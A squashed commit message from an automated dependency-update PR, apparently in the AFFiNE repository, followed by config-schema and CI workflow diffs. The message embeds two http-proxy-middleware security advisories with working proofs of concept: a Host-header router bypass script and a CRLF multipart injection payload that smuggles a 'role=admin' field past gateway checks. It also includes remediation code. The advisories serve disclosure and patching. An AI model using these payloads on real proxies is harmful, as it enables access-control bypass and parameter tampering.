chore: bump up capacitor monorepo to v8

This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[http-proxy-middleware](https://redirect.github.com/chimurai/http-proxy-middleware)
| [`3.0.5` →
`3.0.7`](https://renovatebot.com/diffs/npm/http-proxy-middleware/3.0.5/3.0.7)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/http-proxy-middleware/3.0.7?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/http-proxy-middleware/3.0.5/3.0.7?slim=true)
|

---

### http-proxy-middleware `router` host+path substring matching allows
Host-header-driven backend routing bypass
[CVE-2026-55602](https://nvd.nist.gov/vuln/detail/CVE-2026-55602) /
[GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

<details>
<summary>More information</summary>

#### Details
##### Summary

`http-proxy-middleware` documents `router` proxy-table entries as host,
path, or host+path selectors, but the host+path implementation uses
unanchored substring matching on attacker-controlled request metadata.
As a result, a crafted `Host` header that is only a superstring match
for a configured host+path key can still route a request to an
unintended backend.

##### Details

Tested code state:

- validated on tag `v4.0.0-beta.5`
- corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358`

Relevant code locations:

- `src/router.ts`
- `src/http-proxy-middleware.ts`

Affected public API:

- `createProxyMiddleware({ router: { 'host/path': 'http://target' } })`

Code explanation:

When a proxy-table router key contains `/`, `getTargetFromProxyTable()`
concatenates attacker-controlled `req.headers.host` and `req.url` into a
single `hostAndPath` string, then accepts the route if:

```ts
hostAndPath.indexOf(key) > -1
```

That is a substring test, not an exact host match plus intended path
match. In the validated PoC, the configured router key is:

```txt
localhost:3000/api
```

but the attacker-controlled host is:

```txt
evillocalhost:3000
```

and the request path is:

```txt
/api
```

The concatenated attacker-controlled string:

```txt
evillocalhost:3000/api
```

still contains the configured router key as a substring, so the
middleware selects the alternate backend even though the host is not
equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table `router` feature
with at least one host+path rule
2. an external attacker sends an ordinary HTTP request with a crafted
`Host` header
3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection
before proxying
4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string
through substring matching
5. the request is proxied to the wrong backend

##### PoC

Create these files in the same working directory and run:

```bash
bash ./run.sh
```

##### File: `run.sh`

```bash

#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"

cleanup() {
  rm -rf "${WORKDIR}"
}
trap cleanup EXIT

echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"

mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"

echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"

echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
```

##### File: `Dockerfile`

```Dockerfile
FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \
  && cd /work/repo \
  && yarn install --frozen-lockfile

COPY repo /work/repo
RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction
```

##### File: `verify.mjs`

```js
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';

function listen(server, port) {
  return new Promise((resolve) => {
    server.listen(port, '127.0.0.1', () => resolve());
  });
}

function close(server) {
  return new Promise((resolve, reject) => {
    server.close((err) => {
      if (err) {
        reject(err);
        return;
      }
      resolve();
    });
  });
}

function request(path, host) {
  return new Promise((resolve, reject) => {
    const req = http.request(
      {
        host: '127.0.0.1',
        port: 3000,
        path,
        method: 'GET',
        headers: {
          Host: host,
        },
      },
      (res) => {
        let data = '';
        res.setEncoding('utf8');
        res.on('data', (chunk) => {
          data += chunk;
        });
        res.on('end', () => {
          resolve({ statusCode: res.statusCode, body: data });
        });
      },
    );
    req.on('error', reject);
    req.end();
  });
}

const defaultBackend = http.createServer((req, res) => {
  res.end('DEFAULT');
});

const secretBackend = http.createServer((req, res) => {
  res.end('SECRET');
});

const proxyMiddleware = createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});

const proxyServer = http.createServer((req, res) => {
  proxyMiddleware(req, res, () => {
    res.statusCode = 404;
    res.end('NO_PROXY');
  });
});

try {
  assert.ok(fs.existsSync('/work/repo/dist/index.js'));
  assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

  await listen(defaultBackend, 3101);
  await listen(secretBackend, 3102);
  await listen(proxyServer, 3000);
  console.log('STEP start-services ok');

  const baseline = await request('/api', 'safe.example:3000');
  assert.equal(baseline.statusCode, 200);
  assert.equal(baseline.body, 'DEFAULT');
  console.log(`STEP baseline-route body=${baseline.body}`);

  const crafted = await request('/api', CRAFTED_HOST);
  assert.equal(crafted.statusCode, 200);
  assert.equal(crafted.body, 'SECRET');
  assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
  console.log(`STEP crafted-route body=${crafted.body}`);

  console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
  await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
```

This PoC starts:

- one default backend returning `DEFAULT`
- one alternate backend returning `SECRET`
- one proxy using:

```js
createProxyMiddleware({
  target: 'http://127.0.0.1:3101',
  router: {
    [ROUTER_KEY]: 'http://127.0.0.1:3102',
  },
});
```

It then sends:

1. a baseline request to `/api` with `Host: safe.example:3000`
2. a crafted request to `/api` with `Host: evillocalhost:3000`

Observed result from the validated PoC:

- baseline request: `STEP baseline-route body=DEFAULT`
- crafted request: `STEP crafted-route body=SECRET`
- success marker: `RESULT reproduced host_header_injection router
substring match bypass`

The PoC is considered successful only if:

1. the baseline request stays on the default backend
2. the crafted request reaches the alternate backend
3. the crafted host is not equal to the configured router host

##### Impact

This is a backend-selection integrity issue in a documented library
feature. Applications that use host+path router-table rules for backend
segmentation, tenant routing, or separation of public and more sensitive
upstreams can have that routing boundary bypassed by an unauthenticated
external client using an ordinary crafted `Host` header.

#### Severity
- CVSS Score: 6.9 / 10 (Medium)
- Vector String:
`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-64mm-vxmg-q3vj)
-
[https://github.com/advisories/GHSA-64mm-vxmg-q3vj](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-64mm-vxmg-q3vj)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### http-proxy-middleware: multipart/form-data field injection via
unescaped CRLF in `fixRequestBody`
[CVE-2026-55603](https://nvd.nist.gov/vuln/detail/CVE-2026-55603) /
[GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

<details>
<summary>More information</summary>

#### Details
##### Summary
`fixRequestBody()` is the library's documented helper for re-emitting a
request body that was already consumed by a body parser. When the
**outgoing** `Content-Type` is `multipart/form-data`, it rebuilds the
body with `handlerFormDataBodyData()`, which interpolates each
`req.body` key and value directly into the multipart wire format
**without neutralizing CR/LF**:

```js
// dist/handlers/fix-request-body.js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key}"\r\n\r\n${value}\r\n`;
  }
}
```

A `\r\n` inside a value (or key) lets an attacker close the current part
and inject an **entirely new form part**. Because the proxy's own body
parser saw a single opaque value, any gateway-side policy or validation
performed on `req.body` is evaluated against a different set of fields
than the upstream backend ultimately parses a request/parameter
desynchronization across the trust boundary.

By contrast, the sibling output branches are safe: `application/json`
uses `JSON.stringify` (escapes control chars) and
`application/x-www-form-urlencoded` uses `querystring.stringify`
(percent-encodes). Only the multipart branch lacks escaping.

##### Preconditions 
All three must hold; this narrows real-world exposure and is the basis
for `AC:H`:
1. The proxy app populates `req.body` with a **non-multipart** parser
(`express.urlencoded`, `express.json`, or text) so an injected boundary
in a value is **not** split on input.
2. The proxied (outgoing) request is sent as **`multipart/form-data`**
(e.g. an adaptation layer, or any flow that sets the upstream
content-type to multipart), so the vulnerable branch runs.
3. The app calls `fixRequestBody` (the documented pattern for "I
body-parsed, now re-stream"), and an attacker controls at least one body
field value or key.

> Note: a pure multipart-in → multipart-out flow (e.g. `multer`) is
generally **not** exploitable for a *new-field* injection, because the
proxy's multipart parser already splits the injected boundary, so
`req.body` and the backend agree. The desync specifically requires a
non-multipart input parser.

##### Impact
When the preconditions hold, an attacker injects/overrides multipart
fields seen only by the backend:
- **Validation / access-control bypass** bypass gateway-side field
checks (demonstrated below: a gateway that forbids `role=admin` is
bypassed; backend grants admin).
- **Parameter tampering** add or overwrite fields the backend trusts
(IDs, flags, prices).
- **File-part injection** inject a `filename="..."` part into the
upstream multipart stream.

##### Proof of Concept

```js
// npm i http-proxy-middleware@4.0.0   (Node ESM: save as minimal.mjs)
import { fixRequestBody } from 'http-proxy-middleware';

// `req.body` as a NON-multipart parser (express.urlencoded / express.json) yields it.
// The attacker sent  user=alice%0D%0A--BB%0D%0A...  so this ONE field's value holds CRLF:
const req = { readableLength: 0, body: {
  user: 'alice\r\n--BB\r\nContent-Disposition: form-data; name="role"\r\n\r\nadmin\r\n--BB--'
}};

// Minimal stand-in for the outgoing proxy request; capture what gets written.
const out = [];
const proxyReq = {
  h: { 'content-type': 'multipart/form-data; boundary=BB' },
  getHeader(n){ return this.h[n.toLowerCase()]; },
  setHeader(n,v){ this.h[n.toLowerCase()] = v; },
  write(d){ out.push(Buffer.from(d)); },
};

fixRequestBody(proxyReq, req);          // library rebuilds the multipart body
console.log(Buffer.concat(out).toString());
```

Output: one input field becomes **two** parts; `role=admin` was injected
via the unescaped CRLF:

```
--BB
Content-Disposition: form-data; name="user"

alice
--BB
Content-Disposition: form-data; name="role"     <-- injected part; never present in req.body's keys
admin
--BB--
```

`req.body` had a single key (`user`), so any gateway policy checking
`req.body.role` passes, yet the backend's multipart parser receives
`role=admin`. On the wire the attacker simply sends, as
`application/x-www-form-urlencoded`:
`user=alice%0D%0A--BB%0D%0AContent-Disposition:%20form-data;%20name="role"%0D%0A%0D%0Aadmin%0D%0A--BB--`

##### Remediation
Neutralize CR/LF (and `"`) in keys/values before interpolation, or build
the body with a real multipart encoder (e.g. `FormData` / `form-data`)
instead of string concatenation. Minimal fix:

```js
function handlerFormDataBodyData(contentType, data) {
  const boundary = contentType.replace(/^.*boundary=(.*)$/, '$1');
  const bad = /[\r\n]/;
  let str = '';
  for (const [key, value] of Object.entries(data)) {
    const v = String(value);
    if (bad.test(key) || bad.test(v)) {
      throw new Error('fixRequestBody: CR/LF not allowed in multipart field name/value');
    }
    str += `--${boundary}\r\nContent-Disposition: form-data; name="${key.replace(/"/g, '%22')}"\r\n\r\n${v}\r\n`;
  }
}
```
(Reject is preferable to silent stripping, to avoid masking malicious
input.)

#### Severity
- CVSS Score: 7.5 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N`

#### References
-
[https://github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/chimurai/http-proxy-middleware/security/advisories/GHSA-gcq2-9pq2-cxqm)
-
[https://github.com/advisories/GHSA-gcq2-9pq2-cxqm](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)

This data is provided by the [GitHub Advisory
Database](https://redirect.github.com/advisories/GHSA-gcq2-9pq2-cxqm)
([CC-BY
4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>chimurai/http-proxy-middleware
(http-proxy-middleware)</summary>

###
[`v3.0.7`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.7)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7)

#### What's Changed

- fix(fixRequestBody): harden form-data stringification by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1259](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1259)
- chore(package.json): v3.0.7 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1261](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1261)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.6...v3.0.7>

###
[`v3.0.6`](https://redirect.github.com/chimurai/http-proxy-middleware/releases/tag/v3.0.6)

[Compare
Source](https://redirect.github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6)

#### What's Changed

- fix(types): fix Logger type by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1104](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1104)
- fix(fixRequestBody): support text/plain by
[@&#8203;knudtty](https://redirect.github.com/knudtty) in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1105](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1105)
- build(prettier): improve prettier setup by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1108](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1108)
- chore(deps): fix punycode node deprecation warning by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1109](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1109)
- chore(examples): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1110](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1110)
- build(codespaces): add devcontainer.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1112](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1112)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1116](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1116)
- ci(github-action): ci.yml add node v24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1117](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1117)
- chore(package): bump dev dependencies by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1118](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1118)
- chore(package): upgrade to jest v30 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1122](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1122)
- chore(examples): upgrade deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1124](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1124)
- chore(package): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1125](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1125)
- test(websocket): fix ws import by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1126](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1126)
- chore(refactor): use `node:` protocol imports by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1127](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1127)
- ci(node24): pin node24 due to TLS issue with mockttp by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1137](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1137)
- docs(recipes/pathRewrite.md): fix comment by
[@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1138](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1138)
- chore(deps): update actions/checkout action to v5 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1140](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1140)
- fix(error-response-plugin): sanitize input by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1141](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1141)
- chore(package.json): update dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1143](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1143)
- chore: add context7.json by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1144](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1144)
- build(eslint): update eslint.config.mjs by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1145](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1145)
- ci(github workflow): harden github workflows by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1146](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1146)
- chore(package): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1147](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1147)
- ci(ci.yml): unpin node 24 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1148](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1148)
- docs(recipes): fix servers.md http.createServer example by
[@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch) in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)
- ci: publish with oidc by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1152](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1152)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1153](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1153)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1155](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1155)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1158](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1158)
- test(types.spec.ts): add type check when req or res are 'any' by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1161](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1161)
- chore(package.json): bump deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1164](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1164)
- chore(package.json): eslint v10 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1165](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1165)
- chore(package.json): bump dev deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1166](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1166)
- chore(package.json): bump dev-deps by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1171](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1171)
- docs(examples): fix websocket example by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1170](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1170)
- build(vscode): use workspace version of TypeScript by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1173](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1173)
- fix(router): harden proxy-table matching by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1254](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1254)
- chore(package.json): v3.0.6 by
[@&#8203;chimurai](https://redirect.github.com/chimurai) in
[#&#8203;1256](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1256)

#### New Contributors

- [@&#8203;knudtty](https://redirect.github.com/knudtty) made their
first contribution in
[#&#8203;1103](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1103)
- [@&#8203;DEBargha2004](https://redirect.github.com/DEBargha2004) made
their first contribution in
[#&#8203;1135](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1135)
- [@&#8203;hacklschorsch](https://redirect.github.com/hacklschorsch)
made their first contribution in
[#&#8203;1150](https://redirect.github.com/chimurai/http-proxy-middleware/pull/1150)

**Full Changelog**:
<https://github.com/chimurai/http-proxy-middleware/compare/v3.0.5...v3.0.6>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>

.docker/selfhost/schema.json

@@ -175,6 +175,11 @@
           "description": "Whether require email verification before accessing restricted resources(not implemented).\n@default true",
           "default": true
         },
+        "newAccountShareActionDelay": {
+          "type": "number",
+          "description": "Minimum account age in seconds before new accounts can invite members or create share links.\n@default 86400",
+          "default": 86400
+        },
         "passwordRequirements": {
           "type": "object",
           "description": "The password strength requirements when set new password.\n@default {\"min\":8,\"max\":32}",
@@ -300,6 +305,22 @@
         }
       }
     },
+    "permission": {
+      "type": "object",
+      "description": "Configuration for permission module",
+      "properties": {
+        "readModel": {
+          "type": "string",
+          "description": "Permission data source for Rust evaluation\n@default \"projection\"\n@environment `AFFINE_PERMISSION_READ_MODEL`",
+          "default": "projection"
+        },
+        "fallbackLegacyLoader": {
+          "type": "boolean",
+          "description": "Fallback from projection loader to legacy loader when projection input loading fails\n@default false\n@environment `AFFINE_PERMISSION_FALLBACK_LEGACY_LOADER`",
+          "default": false
+        }
+      }
+    },
     "storages": {
       "type": "object",
       "description": "Configuration for storages module",
@@ -1389,22 +1410,6 @@
         }
       }
     },
-    "customerIo": {
-      "type": "object",
-      "description": "Configuration for customerIo module",
-      "properties": {
-        "enabled": {
-          "type": "boolean",
-          "description": "Enable customer.io integration\n@default false",
-          "default": false
-        },
-        "token": {
-          "type": "string",
-          "description": "Customer.io token\n@default \"\"",
-          "default": ""
-        }
-      }
-    },
     "oauth": {
       "type": "object",
       "description": "Configuration for oauth module",
@@ -1503,16 +1508,6 @@
           "description": "Whether enable lifetime price and allow user to pay for it.\n@default true",
           "default": true
         },
-        "apiKey": {
-          "type": "string",
-          "description": "[Deprecated] Stripe API key. Use payment.stripe.apiKey instead.\n@default \"\"\n@environment `STRIPE_API_KEY`",
-          "default": ""
-        },
-        "webhookKey": {
-          "type": "string",
-          "description": "[Deprecated] Stripe webhook key. Use payment.stripe.webhookKey instead.\n@default \"\"\n@environment `STRIPE_WEBHOOK_KEY`",
-          "default": ""
-        },
         "stripe": {
           "type": "object",
           "description": "Stripe sdk options and credentials\n@default {\"apiKey\":\"\",\"webhookKey\":\"\"}\n@link https://docs.stripe.com/api",

.github/actions/build-rust/action.yml

@@ -59,13 +59,20 @@ runs:
           echo "TARGET_CC=clang -D_BSD_SOURCE" >> "$GITHUB_ENV"
         fi
 
+    - name: Prepare cache key
+      id: cache-key
+      shell: bash
+      run: |
+        shared_key="$(printf '%s' "${{ inputs.target }}-${{ inputs.package }}" | tr -c 'A-Za-z0-9_.-' '-')"
+        echo "shared-key=$shared_key" >> "$GITHUB_OUTPUT"
+
     - name: Cache cargo
       uses: Swatinem/rust-cache@v2
       if: ${{ runner.os == 'Windows' }}
       with:
         workspaces: ${{ env.DEV_DRIVE_WORKSPACE }}
         save-if: ${{ github.ref_name == 'canary' }}
-        shared-key: ${{ inputs.target }}-${{ inputs.package }}
+        shared-key: ${{ steps.cache-key.outputs.shared-key }}
       env:
         CARGO_HOME: ${{ env.DEV_DRIVE }}/.cargo
         RUSTUP_HOME: ${{ env.DEV_DRIVE }}/.rustup
@@ -75,7 +82,7 @@ runs:
       if: ${{ runner.os != 'Windows' }}
       with:
         save-if: ${{ github.ref_name == 'canary' }}
-        shared-key: ${{ inputs.target }}-${{ inputs.package }}
+        shared-key: ${{ steps.cache-key.outputs.shared-key }}
 
     - name: Build
       shell: bash

.github/renovate.json

@@ -31,7 +31,7 @@
       "groupSlug": "all-minor-patch",
       "matchUpdateTypes": ["minor", "patch"],
       "matchManagers": ["npm"],
-      "matchPackageNames": ["*", "!/^@blocksuite//", "!/oxlint/"]
+      "excludePackagePatterns": ["^@blocksuite/", "^oxlint$"]
     },
     {
       "groupName": "all non-major dependencies",

.github/workflows/build-test.yml

@@ -135,6 +135,159 @@ jobs:
             echo "All changes are submitted"
           fi
 
+  mobile-native-build-filter:
+    name: Mobile native build filter
+    runs-on: ubuntu-latest
+    outputs:
+      run-android: ${{ steps.mobile-native-filter.outputs.android }}
+      run-ios: ${{ steps.mobile-native-filter.outputs.ios }}
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: dorny/paths-filter@v3
+        id: mobile-native-filter
+        with:
+          filters: |
+            android:
+              - '.github/workflows/build-test.yml'
+              - 'packages/frontend/apps/android/**'
+              - 'packages/frontend/mobile-native/**'
+              - '.cargo/**'
+              - 'Cargo.lock'
+              - 'Cargo.toml'
+              - 'rust-toolchain*'
+            ios:
+              - '.github/workflows/build-test.yml'
+              - 'packages/frontend/apps/ios/**'
+              - 'packages/frontend/mobile-native/**'
+              - '.cargo/**'
+              - 'Cargo.lock'
+              - 'Cargo.toml'
+              - 'rust-toolchain*'
+
+  build-android-app:
+    name: Build Android app
+    if: ${{ needs.mobile-native-build-filter.outputs.run-android == 'true' }}
+    runs-on: ubuntu-latest
+    needs:
+      - mobile-native-build-filter
+    steps:
+      - uses: actions/checkout@v6
+
+      - name: Setup Node.js
+        uses: ./.github/actions/setup-node
+        with:
+          extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/android
+          electron-install: false
+
+      - uses: actions/setup-java@v5
+        with:
+          distribution: 'temurin'
+          java-version: '21'
+          cache: 'gradle'
+
+      - name: Setup Rust
+        uses: ./.github/actions/build-rust
+        with:
+          target: 'aarch64-linux-android'
+          package: 'affine_mobile_native'
+          no-build: 'true'
+
+      - name: Build Android web assets
+        run: yarn affine @affine/android build
+        env:
+          PUBLIC_PATH: '/'
+
+      - name: Write CI Firebase config
+        run: |
+          cat > packages/frontend/apps/android/App/app/google-services.json <<'JSON'
+          {
+            "project_info": {
+              "project_number": "1",
+              "project_id": "affine-ci",
+              "storage_bucket": "affine-ci.appspot.com"
+            },
+            "client": [
+              {
+                "client_info": {
+                  "mobilesdk_app_id": "1:1:android:0000000000000000",
+                  "android_client_info": {
+                    "package_name": "app.affine.pro"
+                  }
+                },
+                "oauth_client": [],
+                "api_key": [
+                  {
+                    "current_key": "ci-placeholder"
+                  }
+                ],
+                "services": {
+                  "appinvite_service": {
+                    "other_platform_oauth_client": []
+                  }
+                }
+              }
+            ],
+            "configuration_version": "1"
+          }
+          JSON
+
+      - name: Cap sync
+        run: yarn workspace @affine/android cap sync
+
+      - name: Build Android debug app
+        working-directory: packages/frontend/apps/android/App
+        run: ./gradlew :app:assembleCanaryDebug --no-daemon --stacktrace
+
+  build-ios-app:
+    name: Build iOS app
+    if: ${{ needs.mobile-native-build-filter.outputs.run-ios == 'true' }}
+    runs-on: macos-15
+    needs:
+      - mobile-native-build-filter
+    steps:
+      - uses: actions/checkout@v6
+
+      - name: Setup Node.js
+        uses: ./.github/actions/setup-node
+        with:
+          extra-flags: workspaces focus @affine/monorepo @affine-tools/cli @affine/ios
+          electron-install: false
+          hard-link-nm: false
+
+      - uses: maxim-lobanov/setup-xcode@v1
+        with:
+          xcode-version: 26.2
+
+      - name: Setup Rust
+        uses: ./.github/actions/build-rust
+        with:
+          target: 'aarch64-apple-ios-sim'
+          package: 'affine_mobile_native'
+          no-build: 'true'
+
+      - name: Build iOS web assets
+        run: yarn affine @affine/ios build
+        env:
+          PUBLIC_PATH: '/'
+
+      - name: Cap sync
+        run: yarn workspace @affine/ios sync
+
+      - name: Build iOS simulator app
+        run: |
+          xcodebuild \
+            -workspace packages/frontend/apps/ios/App/App.xcworkspace \
+            -scheme App \
+            -configuration Debug \
+            -sdk iphonesimulator \
